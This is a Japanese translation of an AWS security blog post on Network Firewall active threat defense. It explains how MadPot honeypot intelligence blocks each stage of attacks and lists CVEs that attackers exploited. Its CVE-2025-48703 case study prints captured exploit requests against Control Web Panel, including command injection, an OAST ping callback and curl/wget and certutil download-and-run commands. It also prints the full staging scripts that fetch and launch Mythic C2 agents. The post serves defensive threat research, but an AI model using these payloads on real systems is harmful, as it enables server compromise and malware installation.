佑樹 Anthropic Japan 合同会社 Strategic Customer Success Manager 日本のエンタープライズのお客様を担当し、Claude Code や Claude Cowork を活用した AI 導入の計画から、全社での定着、業務成果の創出までを一貫して支援しています。 西部 信博 アマゾンウェブサービスジャパン合同会社 エンタープライズ CSM 部 カスタマーソリューションマネージャー エンタープライズのお客様を中心に、AI・クラウドジャーニーにおける課題特定から解決までをご支援しています。

本ブログは 2026 年 1 月 8 日に公開された AWS Blog “ Real-time malware defense: Leveraging AWS Network Firewall active threat defense ” を翻訳したものです。 サイバー脅威は、従来のセキュリティ防御では対応しきれない速さで進化しています。潜在的なセキュリティ上の問題を抱えるワークロードは、 90 秒以内 に脅威アクターに発見され、3 分以内には悪用の試みが始まります。脅威アクターは攻撃手法を急速に進化させており、新たなマルウェアの亜種、エクスプロイト手法、回避戦術が次々と生まれています。また、インフラストラクチャ (IP アドレス、ドメイン、URL) もローテーションします。ワークロードを効果的に防御するには、脅威データを迅速に保護対策へと落とし込む必要がありますが、インターネット規模で運用する場合、これは容易ではありません。この記事では、 AWS Network Firewall 向けの AWS アクティブ脅威防御 (active threat defense) を使用して、これらの潜在的な脅威を検出・ブロックし、クラウドワークロードを保護する方法を説明します。 アクティブ脅威防御は、 MadPot を通じて収集されたリアルタイムのインテリジェンスを活用して、ネットワーク脅威を検出し、ブロックします。MadPot は、攻撃パターンを能動的に監視するために Amazon が使用しているハニーポットセンサーのネットワークです。アクティブ脅威防御のルールにおいて、スピードは目指すべき目標ではなく、前提となる基本原則です。脅威アクターがマルウェアをホストするための新しいドメインを作成したり、新しいコマンドアンドコントロール (C2) サーバーをセットアップしたりすると、MadPot はその動きをとらえます。MadPot から新しいインテリジェンスを受け取ると、アクティブ脅威防御は 30 分以内にそのインテリジェンスを自動的に変換し、 Amazon GuardDuty による脅威検出と、 AWS Network Firewall による能動的な保護を実現します。 ただし、スピードだけでは十分ではありません。適切な脅威指標を、対応する緩和策に適用する必要もあります。アクティブ脅威防御は、攻撃をあらゆる段階で阻止します。偵察スキャンをブロックし、マルウェアのダウンロードを防ぎ、侵害されたシステムと、それを操る脅威アクターとの間の C2 通信を遮断します。これにより、一部のレイヤーをすり抜ける攻撃でも阻止できる、多層的な防御アプローチが実現します。 アクティブ脅威防御の仕組み MadPot のハニーポットは、クラウドサーバー、データベース、ウェブアプリケーションを模倣しており、脅威アクターが積極的に探す設定ミスやセキュリティ上の欠陥まで再現しています。脅威アクターがおとりに対して攻撃を開始すると、MadPot はハニーポットに対する攻撃ライフサイクル全体を捕捉します。そして、脅威アクターのインフラストラクチャをマッピングし、新たな攻撃手法をとらえ、これまでにない脅威パターンを特定します。さらに AWS は、MadPot での観測結果に基づいてインターネットをより広範囲にスキャンし、類似したフィンガープリントを持つインフラストラクチャも特定しています。 図 1: アクティブ脅威防御の統合の概要 図 1 は、この仕組みを示しています。脅威アクターが MadPot のハニーポットにマルウェアのペイロードを配信すると、AWS は隔離された環境で悪意のあるコードを実行し、マルウェアの動作 (接続先のドメイン、ドロップするファイル、悪用するプロトコル) から侵害の痕跡 (indicators of compromise) を抽出します。この脅威インテリジェンスは、アクティブ脅威防御の自動保護に活用されます。アクティブ脅威防御は、指標を検証してファイアウォールルールに変換し、パフォーマンスへの影響をテストしたうえで、Network Firewall にグローバルにデプロイします。これらすべてを 30 分以内に完了します。また、脅威は常に進化するため、アクティブ脅威防御は脅威アクターのインフラストラクチャの変化を監視し、脅威アクターがドメインをローテーションしたり、IP アドレスを変更したり、戦術を変えたりするたびに、保護ルールを自動的に更新します。このように、アクティブ脅威防御は脅威の進化に合わせて自動的に適応します。 図 2: スイスチーズモデル アクティブ脅威防御は、防御における スイスチーズモデル (図 2 を参照) を採用しています。これは、単独で完璧なセキュリティコントロールは存在しないものの、不完全なレイヤーを複数重ねることで堅牢な保護を実現できるという考え方です。どの防御レイヤーにも穴があります。脅威アクターは IP への直接接続によって DNS フィルタリングを回避でき、暗号化されたトラフィックは HTTP インスペクションをすり抜け、ドメインフロンティングや IP のみの接続は TLS の SNI (Server Name Indication) 分析を回避します。そこでアクティブ脅威防御は、複数のインスペクションポイントにわたって脅威指標を適用します。脅威アクターが 1 つのレイヤーを回避しても、他のレイヤーで検出してブロックできます。MadPot が悪意のあるドメインを特定すると、Network Firewall はそのドメインをブロックするだけでなく、DNS クエリの拒否、HTTP Host ヘッダーのブロック、SNI を使用した TLS 接続の防止、解決された IP アドレスへの直接接続のドロップを行うルールも作成します。スイスチーズのスライスを重ねると穴が一直線に並ぶことはほとんどないのと同様に、アクティブ脅威防御は、脅威アクターが標的に至る完全な経路を見つける可能性を低減します。 アクティブ脅威防御による攻撃キルチェーンの阻止 ここでは、アクティブ脅威防御がこのスイスチーズアプローチによって、攻撃ライフサイクル全体にわたり脅威アクターをどのように阻止するかを見ていきましょう。図 3 は、脅威アクターが標的を侵害し、悪意のあるアクティビティのために永続的な制御を確立する際の攻撃手法の例を示しています (詳細は以降のセクションで説明します)。現代の攻撃では、あらゆる段階でネットワーク通信が必要になります。アクティブ脅威防御は、まさにその通信に対して多層的な防御を構築します。この攻撃フローは、各段階で悪意のある通信を傍受してブロックできる、ネットワークレイヤーのセキュリティコントロールの重要性を示しています。こうしたコントロールがあれば、初期の脆弱性が存在する場合でも、侵害の成立を防ぐことができます。 図 3: OAST 手法を使用した攻撃シナリオのフローの例 ステップ 0: インフラストラクチャの準備 攻撃を開始する前に、脅威アクターは運用インフラストラクチャをプロビジョニングします。例えば、 OAST (out-of-band application security testing) のコールバックエンドポイントのセットアップがこれに当たります。OAST は、脅威アクターが別の通信チャネルを通じてエクスプロイトの成功を確認するために使用する偵察手法です。また、被害者に感染させるペイロードをホストするマルウェア配信サーバーや、侵害したシステムを管理するための C2 サーバーもプロビジョニングします。脅威アクターがおとりシステムに対してこのインフラストラクチャを使用すると、MadPot のハニーポットがそれを検出し、その指標をアクティブ脅威防御の保護ルールに取り込みます。 ステップ 1: 標的の特定 脅威アクターは、自動化されたインターネットスキャンや、アンダーグラウンドマーケットでの標的リストの購入によって、潜在的な被害者のリストを作成します。探しているのは、脆弱なソフトウェアを実行しているワークロード、公開されたサービス、よくある設定ミスなどです。MadPot のハニーポットシステムでは、潜在的な脅威アクターとのこうしたやり取りが毎日 7 億 5,000 万件以上発生しています。新しい MadPot センサーは 90 秒以内に発見されます。こうした可視性により、通常であれば見過ごされてしまうパターンが明らかになります。アクティブ脅威防御は偵察そのものを阻止するわけではありませんが、MadPot の可視性を活用して後続の段階を阻止します。 ステップ 2: 脆弱性の確認 脅威アクターは、エクスプロイトのペイロード内に OAST コールバックの仕組みを埋め込み、標的ワークロードの脆弱性を確認しようとします。例えば、 http://malicious-callback[.]com/verify?target=victim のような悪意のある URL を、ウェブフォーム、HTTP ヘッダー、API パラメータ、その他の入力フィールドに挿入します。正規のセキュリティスキャナーでも使われている OAST ドメイン名を使用する脅威アクターもいれば、検出を回避するために独自に用意したドメインを使用する脅威アクターもいます。次の表は、過去 90 日間に脅威アクターが OAST リンクを使用して MadPot に対して悪用を試みた脆弱性の例 18 件を示しています。 CVE ID 脆弱性名 CVE-2017-10271 Oracle WebLogic Server のデシリアライゼーションによるリモートコード実行 (RCE) CVE-2017-11610 Supervisor XML-RPC の認証バイパス CVE-2020-14882 Oracle WebLogic Server コンソールの RCE CVE-2021-33690 SAP NetWeaver のサーバーサイドリクエストフォージェリ (SSRF) CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22947 VMware Spring Cloud gateway の RCE CVE-2022-22963 VMware Tanzu Spring Cloud function の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2023-22527 Atlassian Confluence Data Center および Server のテンプレートインジェクションの脆弱性 CVE-2023-43208 NextGen Healthcare Mirth connect の RCE CVE-2023-46805 Ivanti Connect Secure および Policy Secure の認証バイパスの脆弱性 CVE-2024-13160 Ivanti Endpoint Manager (EPM) の絶対パストラバーサルの脆弱性 CVE-2024-21893 Ivanti Connect Secure、Policy Secure、Neurons の SSRF の脆弱性 CVE-2024-36401 OSGeo GeoServer GeoTools の eval インジェクションの脆弱性 CVE-2024-37032 Ollama API サーバーのパストラバーサル CVE-2024-51568 CyberPanel の RCE CVE-2024-8883 Keycloak のリダイレクト URI 検証の脆弱性 CVE-2025-34028 Commvault Command Center のパストラバーサルの脆弱性 ステップ 3: OAST コールバック 脆弱なワークロードがこれらの悪意のあるペイロードを処理すると、脅威アクターの OAST 監視サーバーに対してコールバック接続を開始しようとします。通常であれば、脅威アクターはこのコールバックシグナルによってエクスプロイトの成功を確認でき、さらに侵害されたワークロード、脆弱性の種類、攻撃を進める経路に関するインテリジェンスも得られます。アクティブ脅威防御は、この時点で攻撃チェーンを断ち切ります。MadPot は悪意のあるドメインまたは IP アドレスを特定し、アクティブ脅威防御の拒否リストに追加します。脆弱な標的が脅威アクターの OAST エンドポイントへのネットワーク呼び出しを実行しようとすると、アクティブ脅威防御を有効にした Network Firewall がアウトバウンド接続をブロックします。エクスプロイト自体は成功するかもしれませんが、成功の確認が得られなければ、脅威アクターはどの標的に攻撃を進めるべきか判断できず、攻撃は停滞します。 ステップ 4: マルウェア配信の準備 脆弱な標的を特定した脅威アクターは、その脆弱性を悪用して、永続的なアクセスを確立するためのマルウェアを配信します。次の表は、過去 90 日間に脅威アクターがマルウェアを配信するために MadPot に対して悪用を試みた 20 件の脆弱性を示しています。 CVE ID 脆弱性名 CVE-2017-12149 Jboss Application Server の RCE CVE-2020-7961 Liferay Portal の RCE CVE-2021-26084 Confluence Server および Data Center の RCE CVE-2021-41773 Apache HTTP サーバーのパストラバーサルおよび RCE CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22954 VMware Workspace ONE access および identity manager の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2022-44877 Control Web Panel または CentOS Web Panel の RCE CVE-2023-22527 Confluence Data Center および Server の RCE CVE-2023-43208 NextGen Healthcare Mirth Connect の RCE CVE-2023-46604 Java OpenWire プロトコルマーシャラーの RCE CVE-2024-23692 Rejetto HTTP ファイルサーバーの RCE CVE-2024-24919 Check Point セキュリティゲートウェイの RCE CVE-2024-36401 GeoServer の RCE CVE-2024-51567 CyberPanel の RCE CVE-2025-20281 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-20337 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-24016 Wazuh の RCE CVE-2025-47812 Wing FTP の RCE CVE-2025-48703 CWP の RCE ステップ 5: マルウェアのダウンロード 侵害された標的は、脅威アクターの配信サーバーからマルウェアのペイロードをダウンロードしようとしますが、ここでもアクティブ脅威防御が介入します。マルウェアをホストするインフラストラクチャは、ドメイン、URL、IP アドレスのいずれであっても、既に MadPot によって特定され、Network Firewall によってブロックされています。マルウェアが TLS エンドポイント経由で配信される場合、アクティブ脅威防御は、TLS ハンドシェイク中に SNI を検査するルールによって、トラフィックを復号することなく悪意のあるドメインを特定してブロックします。マルウェアが TLS エンドポイント以外から配信される場合や、お客様が Network Firewall の TLS インスペクション機能 を有効にしている場合は、アクティブ脅威防御のルールが URL 全体と HTTP ヘッダーを検査し、コンテンツベースのルールを適用したうえで、正当なトラフィックを再暗号化して転送します。マルウェアの配信と実行が成功しなければ、脅威アクターは制御を確立できません。 ステップ 6: C2 接続 仮に何らかの方法でマルウェアが配信された場合、マルウェアは脅威アクターの C2 サーバーに接続して指示を受け取ろうとします。この時点で、アクティブ脅威防御の別のレイヤーが作動します。アクティブ脅威防御は、Network Firewall において複数のプロトコルレイヤーにまたがる仕組みを実装しており、C2 通信が継続的な悪意のある活動につながる前に特定してブロックします。DNS レイヤーでは、Network Firewall は既知の悪意のある C2 ドメインに対する名前解決リクエストをブロックし、マルウェアが接続先を見つけられないようにします。TCP レイヤーでは、C2 の IP アドレスとポートへの直接接続をブロックします。TLS レイヤーでは、ステップ 5 で説明したように、SNI インスペクションとフィンガープリント手法 (有効にしている場合は完全な復号) を使用して、暗号化された C2 トラフィックを特定します。Network Firewall は既知の悪意のある C2 インフラストラクチャへのアウトバウンド接続をブロックし、脅威アクターが感染したワークロードを制御できないようにします。侵害されたワークロード上にマルウェアが存在していても、隔離されて脅威アクターと通信できないため、実質的に無力化されます。また、C2 への接続の試みに対しては Amazon GuardDuty で脅威の検出結果が作成されるため、インシデント対応のワークフローを開始できます。次の表は、過去 90 日間に MadPot と AWS によるインターネット全体のスキャンで観測された C2 フレームワークの例です。 C2 フレームワーク Adaptix Metasploit AsyncRAT Mirai Brute Ratel Mythic Cobalt Strike Platypus Covenant Quasar Deimos Sliver Empire SparkRAT Havoc XorDDoS ステップ 7: 攻撃目的の阻止 C2 への接続ができなければ、脅威アクターはデータを盗むことも、認証情報を外部に持ち出すこともできません。アクティブ脅威防御の多層的なアプローチでは、脅威アクターはすべてのステップで成功しなければならない一方、お客様はいずれか 1 つの段階をブロックするだけでアクティビティを阻止できます。この多層防御 (defense-in-depth) のアプローチにより、一部の防御レイヤーに脆弱性がある場合でもリスクを低減できます。アクティブ脅威防御のアクションは、 Network Firewall のアラートログ で追跡できます。 実際の攻撃シナリオ – CVE-2025-48703 を悪用する攻撃キャンペーンの阻止 2025 年 10 月、AWS の MadPot ハニーポットは、Control Web Panel (CWP) を標的とした攻撃キャンペーンを検出し始めました。CWP は、ホスティングプロバイダーやシステム管理者が使用するサーバー管理プラットフォームです。脅威アクターは、CWP のリモートコード実行の脆弱性である CVE-2025-48703 を悪用して、 Mythic C2 フレームワーク をデプロイしようとしていました。Mythic は、本来は正当なレッドチーム活動のために設計されたオープンソースの C2 プラットフォームですが、脅威アクターが悪意のあるキャンペーンに利用することもあります。エクスプロイトの試みは IP アドレス 61.244.94[.]126 から発信されており、この IP アドレスには VPN 出口ノードと一致する特徴が見られました。 脅威アクターは、脆弱な標的を確認するために、CWP のファイルマネージャーの脆弱性を悪用してオペレーティングシステムのコマンドを実行しようとしました。MadPot のハニーポットは、次のような whoami コマンドを使用したエクスプロイトの試みを受信しました。 POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 455 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/nginx ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" whoami /priv ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- このキャンペーンでは脆弱性の確認に OAST コールバックは使われていませんでしたが、MadPot では、次の例のように OAST コールバックを使用した同様の CVE-2025-48703 のエクスプロイトの試みも観測されています。 POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:8085 user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 content-length: 503 content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 accept-encoding: gzip connection: close --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="fileName" .bashrc --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="currentPath" /home/debian --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="recursive" --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="t_total" ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5-- 脆弱なシステムを特定すると、攻撃は直ちにペイロードの配信へと移りました。MadPot は、Linux と Windows の両方のワークロードを標的とした感染の試みを捕捉しました。Linux の標的に対しては、脅威アクターは curl と wget を使用してマルウェアをダウンロードしようとしました。 POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:5704 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 539 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/cwp ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" (curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- Windows システムに対しては、Microsoft の certutil.exe ユーティリティを使用してマルウェアをダウンロードしようとしました。 POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 557 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/panel ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- MadPot のハニーポットは、こうしたエクスプロイトの試みを観測すると、脆弱なサーバーと同じように悪意のあるペイロードをダウンロードします。MadPot はその観測結果を基に、複数の分析レイヤーで脅威指標を抽出します。 レイヤー 1 – MadPot は、マルウェアをホストしているステージング URL と、その背後にある IP アドレスを特定しました。 hxxp://vc2.b1ack[.]cat:28571/slt (Linux スクリプト, SHA256: bdf17b3047a9c9de24483cce55279e62a268c01c2aba6ddadee42518a9ccddfc) hxxp://196.251.116[.]232:28571/slt hxxp://vc2.b1ack[.]cat:28571/swt (Windows スクリプト, SHA256: 6ec153a14ec3a2f38edd0ac411bd035d00668a860ee0140e087bb4083610f7cf) hxxp://196.251.116[.]232:28571/swt レイヤー 2 – MadPot がマルウェアを分析した結果、Windows バッチファイル ( SHA256: 6ec153a1... ) には、システムアーキテクチャを判別して適切な Mythic エージェントをダウンロードするロジックが含まれていることが判明しました。 @echo off setlocal enabledelayedexpansion set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true" set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true" set v="C:\Users\Public\350b0949tcp.exe" del %v% for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do ( set "ARCH=64" ) if "%ARCH%"=="64" ( certutil.exe -urlcache -split -f %u64% %v% ) else ( certutil.exe -urlcache -split -f %u32% %v% ) start "" %v% exit /b 0 Linux スクリプト ( SHA256: bdf17b30... ) は、x86_64、i386、i686、aarch64、armv7l の各アーキテクチャに対応していました。 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true" l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true" a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true" a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true" v="43b6f642tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') # [additional architecture checks] fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) レイヤー 3 – MadPot は、これらのステージングスクリプトと、そこで参照されているインフラストラクチャを分析することで、Mythic C2 フレームワークのエンドポイントを示す追加の脅威指標を特定しました。 ヘルスチェックエンドポイント 196.251.116[.]232:7443 および vc2.b1ack[.]cat:7443 HTTP リスナー 196.251.116[.]232:80 および vc2.b1ack[.]cat:80 MadPot の分析から 30 分以内に、この攻撃インフラストラクチャのすべてのレイヤーを対象とした保護ルールが、世界中の Network Firewall のインスタンスにデプロイされました。その結果、脆弱な CWP 環境もこのキャンペーンから保護された状態が保たれました。エクスプロイトが curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt または certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt を実行しようとしても、インフラストラクチャが稼働している間は、Network Firewall が vc2.b1ack[.]cat ドメインの名前解決と 196.251.116[.]232:28571 への接続の両方をブロックしていたためです。脆弱なアプリケーションがエクスプロイトのペイロードを実行した可能性はありますが、Network Firewall はネットワークレイヤーでマルウェアのダウンロードをブロックしました。 仮にステージングスクリプトが別の手段で標的に到達したとしても、アーキテクチャ固有の URL がブロックされているため、Mythic エージェントのバイナリをダウンロードしようとした時点で失敗していたはずです。さらに、まったく別の感染経路で Mythic エージェントのバイナリが配信され、実行されたとしても、C2 を確立することはできなかったはずです。マルウェアがポート 7443 の Mythic フレームワークのヘルスエンドポイントや、ポート 80 の HTTP リスナーに接続しようとしても、Network Firewall がネットワーク境界でそれらの接続を遮断していたはずだからです。 このシナリオは、アクティブ脅威防御のインテリジェンスパイプラインが、脅威アクティビティのさまざまな段階をどのように阻止するかを示しています。これこそがスイスチーズモデルの実践です。ある防御レイヤー (例えば OAST のブロック) が適用できない場合でも、後続のレイヤー (ホストされたマルウェアのダウンロード、マルウェアのネットワーク動作、ボットネットインフラストラクチャの特定) が重層的に保護します。MadPot による攻撃の分析では、各レイヤーで追加の脅威指標が明らかになり、それらが攻撃チェーンのさまざまな段階でお客様を保護します。 つまり、パッチ未適用の CWP 環境を使用している GuardDuty のお客様は、アクティブ脅威防御で追跡している脅威指標に該当する通信先との通信が試みられていれば、脅威の検出結果を受け取っていたはずです。また、アクティブ脅威防御を使用している Network Firewall のお客様の場合、パッチ未適用の CWP ワークロードは、この CVE が 11 月 4 日に CISA の Known Exploited Vulnerabilities カタログ に追加されるよりも前から、このキャンペーンに対して自動的に保護されていたはずです。 まとめ Network Firewall 向けの AWS アクティブ脅威防御は、MadPot のインテリジェンスと多層的な保護を活用して攻撃者のキルチェーンを阻止し、セキュリティチームの運用負担を軽減します。ルールが自動でデプロイされるため、アクティブ脅威防御は MadPot が新たな脅威を検出してから 30 分以内に多層的な防御を構築します。Amazon GuardDuty のお客様は、アクティブ脅威防御が特定した悪意のあるインフラストラクチャとワークロードが通信しようとすると、脅威の検出結果を自動的に受け取ります。また、AWS Network Firewall のお客様は、アクティブ脅威防御マネージドルールグループを使用して、これらの脅威を能動的にブロックできます。使用を開始するには、 AWS Network Firewall での Amazon 脅威インテリジェンスを活用したセキュリティポスチャの強化 を参照してください。   この記事に関するご質問は、 AWS サポートにお問い合わせ ください。   Rahi Patel Rahi は、ネットワーキングを専門とする AWS の Startups Technical Account Manager です。グローバルな AWS デプロイ全体でパフォーマンスを最適化するクラウドネットワーキングソリューションを設計しています。以前は Cisco Meraki でネットワークエンジニアを務めていました。サンノゼ州立大学で工学の修士号を取得しています。仕事以外では、テニスとピックルボールを楽しんでいます。 Paul Bodmer Paul は AWS の Security Engineering Manager で、Perimeter Protection Threat Research Team を率いています。AWS がディセプション技術を活用し、AWS の社内外のセキュリティサービス向けに実用的な脅威インテリジェンスを生み出すための戦略的な方針の策定を担当しています。 Nima Sharifi Mehr Nima は AWS の Principal Security Engineer で、Perimeter Protection Threat Research Team の技術的な方向性を統括しています。また、MadPot の開発者でもあります。MadPot は現在、Amazon のサイバーセキュリティ戦略の柱として社内のさまざまなチームで活用されており、お客様とパートナーを保護するとともに、世界のサイバーセキュリティ水準の向上に貢献しています。 Maxim Raya Maxim は AWS の Security Specialist Solutions Architect です。お客様が AWS 環境のセキュリティとコンプライアンスに確信を持てるよう支援し、クラウドトランスフォーメーションの加速をサポートしています。 Santosh Shanbhag Santosh は、セキュリティ、データ保護、コンプライアンスを専門とする経験豊富なプロダクトリーダーです。AWS では、AWS Network Firewall やアクティブ脅威防御をはじめとするネットワークおよびアプリケーションセキュリティサービスを通じて、ワークロードの保護に注力しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。